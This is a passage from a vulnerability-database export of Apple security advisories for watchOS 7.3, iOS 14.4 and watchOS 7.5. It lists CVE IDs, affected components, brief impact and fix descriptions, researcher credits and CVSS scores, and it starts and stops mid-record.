later\n\nImpact: Processing a maliciously crafted image may lead to a denial of service\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-1766: Danny Rosseau of Carve Systems\n\nEntry added February 1, 2021\n\n**ImageIO**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2021-1785: Xingwei Lin of Ant Security Light-Year Lab\n\nEntry added February 1, 2021\n\n**ImageIO**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: An out-of-bounds write was addressed with improved input validation.\n\nCVE-2021-1744: Xingwei Lin of Ant Security Light-Year Lab\n\nEntry added February 1, 2021\n\n**ImageIO**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: A remote attacker may be able to cause unexpected application termination or arbitrary code execution\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-1818: Xingwei Lin of Ant-Financial Light-Year Security Lab\n\nEntry added February 1, 2021\n\n**ImageIO**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-1742: Xingwei Lin of Ant Security Light-Year Lab\n\nCVE-2021-1746: Jeonghoon Shin(@singi21a) of THEORI, Mickey Jin & Qi Sun of Trend Micro working with Trend Micro\u2019s Zero Day Initiative, Xingwei Lin of Ant Security Light-Year Lab\n\nCVE-2021-1754: Xingwei Lin of Ant Security Light-Year Lab\n\nCVE-2021-1774: Xingwei Lin of Ant Security Light-Year Lab\n\nCVE-2021-1777: Xingwei Lin of Ant Security Light-Year Lab\n\nCVE-2021-1793: Xingwei Lin of Ant Security Light-Year Lab\n\nEntry added February 1, 2021, updated March 16, 2021\n\n**ImageIO**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-1741: Xingwei Lin of Ant Security Light-Year Lab\n\nCVE-2021-1743: Mickey Jin & Junzhi Lu of Trend Micro working with Trend Micro\u2019s Zero Day Initiative, Xingwei Lin of Ant Security Light-Year Lab\n\nEntry added February 1, 2021, updated March 16, 2021\n\n**ImageIO**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: Processing a maliciously crafted image may lead to a denial of service\n\nDescription: An out-of-bounds read issue existed in the curl. This issue was addressed with improved bounds checking.\n\nCVE-2021-1778: Xingwei Lin of Ant Security Light-Year Lab\n\nEntry added February 1, 2021\n\n**ImageIO**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: An access issue was addressed with improved memory management.\n\nCVE-2021-1783: Xingwei Lin of Ant Security Light-Year Lab\n\nEntry added February 1, 2021\n\n**IOSkywalkFamily**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: A local attacker may be able to elevate their privileges\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-1757: Proteas and Pan ZhenPeng (@Peterpan0927) of Alibaba Security\n\nEntry added February 1, 2021\n\n**iTunes Store**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: Processing a maliciously crafted URL may lead to arbitrary javascript code execution\n\nDescription: A validation issue was addressed with improved input sanitization.\n\nCVE-2021-1748: CodeColorist working with Ant Security Light-Year Labs\n\nEntry added February 1, 2021, updated March 16, 2021\n\n**Kernel**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: A remote attacker may be able to cause a denial of service\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2021-1764: @m00nbsd\n\nEntry added February 1, 2021, updated March 16, 2021\n\n**Kernel**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: Multiple issues were addressed with improved logic.\n\nCVE-2021-1750: @0xalsr\n\nEntry added February 1, 2021\n\n**Kernel**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: A malicious application may be able to elevate privileges. Apple is aware of a report that this issue may have been actively exploited.\n\nDescription: A race condition was addressed with improved locking.\n\nCVE-2021-1782: an anonymous researcher\n\n**Swift**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: A malicious attacker with arbitrary read and write capability may be able to bypass Pointer Authentication\n\nDescription: A logic issue was addressed with improved validation.\n\nCVE-2021-1769: CodeColorist of Ant-Financial Light-Year Labs\n\nEntry added February 1, 2021\n\n**WebKit**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2021-1788: Francisco Alonso (@revskills)\n\nEntry added February 1, 2021, updated March 16, 2021\n\n**WebKit**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: A type confusion issue was addressed with improved state handling.\n\nCVE-2021-1789: @S0rryMybad of 360 Vulcan Team\n\nEntry added February 1, 2021\n\n**WebKit**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: Maliciously crafted web content may violate iframe sandboxing policy\n\nDescription: This issue was addressed with improved iframe sandbox enforcement.\n\nCVE-2021-1801: Eliya Stein of Confiant\n\nEntry added February 1, 2021\n\n**WebRTC**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: A malicious website may be able to access restricted ports on arbitrary servers\n\nDescription: A port redirection issue was addressed with additional port validation.\n\nCVE-2021-1799: Gregory Vishnepolsky & Ben Seri of Armis Security, and Samy Kamkar\n\nEntry added February 1, 2021\n\n\n\n## Additional recognition\n\n**iTunes Store**\n\nWe would like to acknowledge CodeColorist of Ant-Financial Light-Year Labs for their assistance.\n\nEntry added February 1, 2021\n\n**Kernel**\n\nWe would like to acknowledge Junzhi Lu (@pwn0rz), Mickey Jin & Jesse Change of Trend Micro for their assistance.\n\nEntry added February 1, 2021\n\n**libpthread**\n\nWe would like to acknowledge CodeColorist of Ant-Financial Light-Year Labs for their assistance.\n\nEntry added February 1, 2021\n\n**Store Demo**\n\nWe would like to acknowledge @08Tc3wBB for their assistance.\n\nEntry added February 1, 2021\n\nInformation about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. [Contact the vendor](<http://support.apple.com/kb/HT2693>) for additional information.\n\nPublished Date: March 16, 2021\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-01-26T00:00:00", "type": "apple", "title": "About the security content of watchOS 7.3", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1741", "CVE-2021-1742", "CVE-2021-1743", "CVE-2021-1744", "CVE-2021-1746", "CVE-2021-1747", "CVE-2021-1748", "CVE-2021-1750", "CVE-2021-1754", "CVE-2021-1757", "CVE-2021-1758", "CVE-2021-1760", "CVE-2021-1761", "CVE-2021-1764", "CVE-2021-1766", "CVE-2021-1769", "CVE-2021-1772", "CVE-2021-1773", "CVE-2021-1774", "CVE-2021-1776", "CVE-2021-1777", "CVE-2021-1778", "CVE-2021-1782", "CVE-2021-1783", "CVE-2021-1785", "CVE-2021-1786", "CVE-2021-1787", "CVE-2021-1788", "CVE-2021-1789", "CVE-2021-1791", "CVE-2021-1792", "CVE-2021-1793", "CVE-2021-1797", "CVE-2021-1799", "CVE-2021-1801", "CVE-2021-1818"], "modified": "2021-01-26T00:00:00", "id": "APPLE:B69E745380EF6BD25EB61E697869CC84", "href": "https://support.apple.com/kb/HT212148", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-02-02T04:42:46", "description": "## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## iOS 14.4 and iPadOS 14.4\n\nReleased January 26, 2021\n\n**Analytics**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A remote attacker may be able to cause a denial of service\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-1761: Cees Elzinga\n\nEntry added February 1, 2021\n\n**APFS**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A local user may be able to read arbitrary files\n\nDescription: The issue was addressed with improved permissions logic.\n\nCVE-2021-1797: Thomas Tempelmann\n\nEntry added February 1, 2021\n\n**Bluetooth**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A remote attacker may be able to cause arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2021-1794: Jianjun Dai of 360 Alpha Lab\n\nEntry added February 1, 2021\n\n**Bluetooth**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A remote attacker may be able to cause arbitrary code execution\n\nDescription: An out-of-bounds write was addressed with improved input validation.\n\nCVE-2021-1795: Jianjun Dai of 360 Alpha Lab\n\nCVE-2021-1796: Jianjun Dai of 360 Alpha Lab\n\nEntry added February 1, 2021\n\n**Bluetooth**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: An attacker in a privileged position may be able to perform a denial of service attack\n\nDescription: A memory initialization issue was addressed with improved memory handling.\n\nCVE-2021-1780: Jianjun Dai of 360 Alpha Lab\n\nEntry added February 1, 2021\n\n**CoreAnimation**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A malicious application could execute arbitrary code leading to compromise of user information\n\nDescription: A memory corruption issue was addressed with improved state management.\n\nCVE-2021-1760: @S0rryMybad of 360 Vulcan Team\n\nEntry added February 1, 2021\n\n**CoreAudio**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing maliciously crafted web content may lead to code execution\n\nDescription: An out-of-bounds write was addressed with improved input validation.\n\nCVE-2021-1747: JunDong Xie of Ant Security Light-Year Lab\n\nEntry added February 1, 2021\n\n**CoreGraphics**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing a maliciously crafted font file may lead to arbitrary code execution\n\nDescription: An out-of-bounds write issue was addressed with improved bounds checking.\n\nCVE-2021-1776: Ivan Fratric of Google Project Zero\n\nEntry added February 1, 2021\n\n**CoreMedia**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2021-1759: Hou JingYi (@hjy79425575) of Qihoo 360 CERT\n\nEntry added February 1, 2021\n\n**CoreText**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing a maliciously crafted text file may lead to arbitrary code execution\n\nDescription: A stack overflow was addressed with improved input validation.\n\nCVE-2021-1772: Mickey Jin of Trend Micro\n\nEntry added February 1, 2021\n\n**CoreText**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A remote attacker may be able to cause arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-1792: Mickey Jin & Junzhi Lu of Trend Micro\n\nEntry added February 1, 2021\n\n**Crash Reporter**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A local user may be able to create or modify system files\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-1786: Csaba Fitzl (@theevilbit) of Offensive Security\n\nEntry added February 1, 2021\n\n**Crash Reporter**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A local attacker may be able to elevate their privileges\n\nDescription: Multiple issues were addressed with improved logic.\n\nCVE-2021-1787: James Hutchins\n\nEntry added February 1, 2021\n\n**FairPlay**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A malicious application may be able to disclose kernel memory\n\nDescription: An out-of-bounds read issue existed that led to the disclosure of kernel memory. This was addressed with improved input validation.\n\nCVE-2021-1791: Junzhi Lu (@pwn0rz), Qi Sun & Mickey Jin of Trend Micro\n\nEntry added February 1, 2021\n\n**FontParser**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A remote attacker may be able to cause arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-1758: Peter Nguyen of STAR Labs\n\nEntry added February 1, 2021\n\n**ImageIO**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing a maliciously crafted image may lead to a denial of service\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-1773: Xingwei Lin of Ant Security Light-Year Lab\n\nEntry added February 1, 2021\n\n**ImageIO**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing a maliciously crafted image may lead to a denial of service\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-1766: Danny Rosseau of Carve Systems\n\nEntry added February 1, 2021\n\n**ImageIO**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2021-1785: Xingwei Lin of Ant Security Light-Year Lab\n\nEntry added February 1, 2021\n\n**ImageIO**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: An out-of-bounds write was addressed with improved input validation.\n\nCVE-2021-1744: Xingwei Lin of Ant Security Light-Year Lab\n\nEntry added February 1, 2021\n\n**ImageIO**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A remote attacker may be able to cause unexpected application termination or arbitrary code execution\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-1818: Xingwei Lin from Ant-Financial Light-Year Security Lab\n\nEntry added February 1, 2021\n\n**ImageIO**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-1746: Xingwei Lin of Ant Security Light-Year Lab, and Mickey Jin & Qi Sun of Trend Micro\n\nCVE-2021-1793: Xingwei Lin of Ant Security Light-Year Lab\n\nEntry added February 1, 2021\n\n**ImageIO**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-1741: Xingwei Lin of Ant Security Light-Year Lab\n\nCVE-2021-1743: Xingwei Lin of Ant Security Light-Year Lab, and Mickey Jin & Junzhi Lu of Trend Micro\n\nEntry added February 1, 2021\n\n**ImageIO**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing a maliciously crafted image may lead to a denial of service\n\nDescription: An out-of-bounds read issue existed in the curl. This issue was addressed with improved bounds checking.\n\nCVE-2021-1778: Xingwei Lin of Ant Security Light-Year Lab\n\nEntry added February 1, 2021\n\n**ImageIO**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: An access issue was addressed with improved memory management.\n\nCVE-2021-1783: Xingwei Lin of Ant Security Light-Year Lab\n\nEntry added February 1, 2021\n\n**IOSkywalkFamily**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A local attacker may be able to elevate their privileges\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-1757: Proteas and Pan ZhenPeng (@Peterpan0927) of Alibaba Security\n\nEntry added February 1, 2021\n\n**iTunes Store**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing a maliciously crafted URL may lead to arbitrary javascript code execution\n\nDescription: A validation issue was addressed with improved input sanitization.\n\nCVE-2021-1748: CodeColorist of Ant-Financial Light-Year Labs\n\nEntry added February 1, 2021\n\n**Kernel**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A remote attacker may be able to cause a denial of service\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2021-1764: Maxime Villard (@m00nbsd)\n\nEntry added February 1, 2021\n\n**Kernel**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: Multiple issues were addressed with improved logic.\n\nCVE-2021-1750: @0xalsr\n\nEntry added February 1, 2021\n\n**Kernel**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A malicious application may be able to elevate privileges. Apple is aware of a report that this issue may have been actively exploited.\n\nDescription: A race condition was addressed with improved locking.\n\nCVE-2021-1782: an anonymous researcher\n\n**Messages**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A malicious application may be able to leak sensitive user information\n\nDescription: A privacy issue existed in the handling of Contact cards. This was addressed with improved state management.\n\nCVE-2021-1781: Csaba Fitzl (@theevilbit) of Offensive Security\n\nEntry added February 1, 2021\n\n**Model I/O**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing a maliciously crafted USD file may lead to unexpected application termination or arbitrary code execution\n\nDescription: A buffer overflow was addressed with improved bounds checking.\n\nCVE-2021-1763: Mickey Jin of Trend Micro\n\nEntry added February 1, 2021\n\n**Model I/O**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing a maliciously crafted USD file may lead to unexpected application termination or arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-1768: Mickey Jin & Junzhi Lu of Trend Micro\n\nEntry added February 1, 2021\n\n**Model I/O**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing a maliciously crafted USD file may lead to unexpected application termination or arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2021-1745: Mickey Jin & Junzhi Lu of Trend Micro\n\nEntry added February 1, 2021\n\n**Model I/O**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing a maliciously crafted USD file may lead to unexpected application termination or arbitrary code execution\n\nDescription: An out-of-bounds write was addressed with improved input validation.\n\nCVE-2021-1762: Mickey Jin of Trend Micro\n\nEntry added February 1, 2021\n\n**Model I/O**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing a maliciously crafted image may lead to heap corruption\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-1767: Mickey Jin & Junzhi Lu of Trend Micro\n\nEntry added February 1, 2021\n\n**Model I/O**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-1753: Mickey Jin of Trend Micro\n\nEntry added February 1, 2021\n\n**Phone Keypad**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: An attacker with physical access to a device may be able to see private contact information\n\nDescription: A lock screen issue allowed access to contacts on a locked device. This issue was addressed with improved state management.\n\nCVE-2021-1756: Ryan Pickren (ryanpickren.com)\n\nEntry added February 1, 2021\n\n**Swift**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A malicious attacker with arbitrary read and write capability may be able to bypass Pointer Authentication\n\nDescription: A logic issue was addressed with improved validation.\n\nCVE-2021-1769: CodeColorist of Ant-Financial Light-Year Labs\n\nEntry added February 1, 2021\n\n**WebKit**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2021-1788: Francisco Alonso (@revskills)\n\nEntry added February 1, 2021\n\n**WebKit**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: A type confusion issue was addressed with improved state handling.\n\nCVE-2021-1789: @S0rryMybad of 360 Vulcan Team\n\nEntry added February 1, 2021\n\n**WebKit**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Maliciously crafted web content may violate iframe sandboxing policy\n\nDescription: This issue was addressed with improved iframe sandbox enforcement.\n\nCVE-2021-1801: Eliya Stein of Confiant\n\nEntry added February 1, 2021\n\n**WebKit**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A remote attacker may be able to cause arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited.\n\nDescription: A logic issue was addressed with improved restrictions.\n\nCVE-2021-1871: an anonymous researcher\n\nCVE-2021-1870: an anonymous researcher\n\n**WebRTC**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A malicious website may be able to access restricted ports on arbitrary servers\n\nDescription: A port redirection issue was addressed with additional port validation.\n\nCVE-2021-1799: Gregory Vishnepolsky & Ben Seri of Armis Security, and Samy Kamkar\n\nEntry added February 1, 2021\n\n\n\n## Additional recognition\n\n**iTunes Store**\n\nWe would like to acknowledge CodeColorist of Ant-Financial Light-Year Labs for their assistance.\n\nEntry added February 1, 2021\n\n**Kernel**\n\nWe would like to acknowledge Junzhi Lu (@pwn0rz), Mickey Jin & Jesse Change of Trend Micro for their assistance.\n\nEntry added February 1, 2021\n\n**libpthread**\n\nWe would like to acknowledge CodeColorist of Ant-Financial Light-Year Labs for their assistance.\n\nEntry added February 1, 2021\n\n**Mail**\n\nWe would like to acknowledge Yi\u011fit Can YILMAZ (@yilmazcanyigit) and an anonymous researcher for their assistance.\n\nEntry added February 1, 2021\n\n**Store Demo**\n\nWe would like to acknowledge @08Tc3wBB for their assistance.\n\nEntry added February 1, 2021\n\n**WebRTC**\n\nWe would like to acknowledge Philipp Hancke for their assistance.\n\nEntry added February 1, 2021\n\n**Wi-Fi**\n\nWe would like to acknowledge an anonymous researcher for their assistance.\n\nEntry added February 1, 2021\n", "edition": 3, "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-02-01T06:39:19", "title": "About the security content of iOS 14.4 and iPadOS 14.4 - Apple Support", "type": "apple", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1753", "CVE-2021-1818", "CVE-2021-1871", "CVE-2021-1772", "CVE-2021-1763", "CVE-2021-1778", "CVE-2021-1743", "CVE-2021-1769", "CVE-2021-1761", "CVE-2021-1762", "CVE-2021-1780", "CVE-2021-1792", "CVE-2021-1794", "CVE-2021-1757", "CVE-2021-1795", "CVE-2021-1744", "CVE-2021-1786", "CVE-2021-1791", "CVE-2021-1748", "CVE-2021-1773", "CVE-2021-1767", "CVE-2021-1758", "CVE-2021-1787", "CVE-2021-1760", "CVE-2021-1768", "CVE-2021-1870", "CVE-2021-1746", "CVE-2021-1745", "CVE-2021-1785", "CVE-2021-1759", "CVE-2021-1756", "CVE-2021-1741", "CVE-2021-1747", "CVE-2021-1801", "CVE-2021-1781", "CVE-2021-1799", "CVE-2021-1788", "CVE-2021-1782", "CVE-2021-1766", "CVE-2021-1783", "CVE-2021-1797", "CVE-2021-1793", "CVE-2021-1776", "CVE-2021-1789", "CVE-2021-1796", "CVE-2021-1764", "CVE-2021-1750"], "modified": "2021-02-01T06:39:19", "id": "APPLE:HT212146", "href": "https://support.apple.com/kb/HT212146", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-05-27T22:02:31", "description": "# About the security content of watchOS 7.5\n\nThis document describes the security content of watchOS 7.5.\n\n## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## watchOS 7.5\n\nReleased May 24, 2021\n\n**Audio**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: Processing a maliciously crafted audio file may lead to arbitrary code execution\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-30707: hjy79425575 working with Trend Micro Zero Day Initiative\n\n**Audio**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: Parsing a maliciously crafted audio file may lead to disclosure of user information\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-30685: Mickey Jin (@patch1t) of Trend Micro\n\n**Core Services**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: A malicious application may be able to gain root privileges\n\nDescription: A validation issue existed in the handling of symlinks. This issue was addressed with improved validation of symlinks.\n\nCVE-2021-30681: Zhongcheng Li (CK01)\n\n**CoreAudio**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: Processing a maliciously crafted audio file may disclose restricted memory\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-30686: Mickey Jin of Trend Micro\n\n**CoreText**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: An out-of-bounds read was addressed with improved input validation\n\nDescription: Processing a maliciously crafted font may result in the disclosure of process memory.\n\nCVE-2021-30753: Xingwei Lin of Ant Security Light-Year Lab\n\nCVE-2021-30733: Sunglin from the Knownsec 404\n\nEntry added July 21, 2021\n\n**Crash Reporter**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: A malicious application may be able to modify protected parts of the file system\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-30727: Cees Elzinga\n\n**CVMS**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: A local attacker may be able to 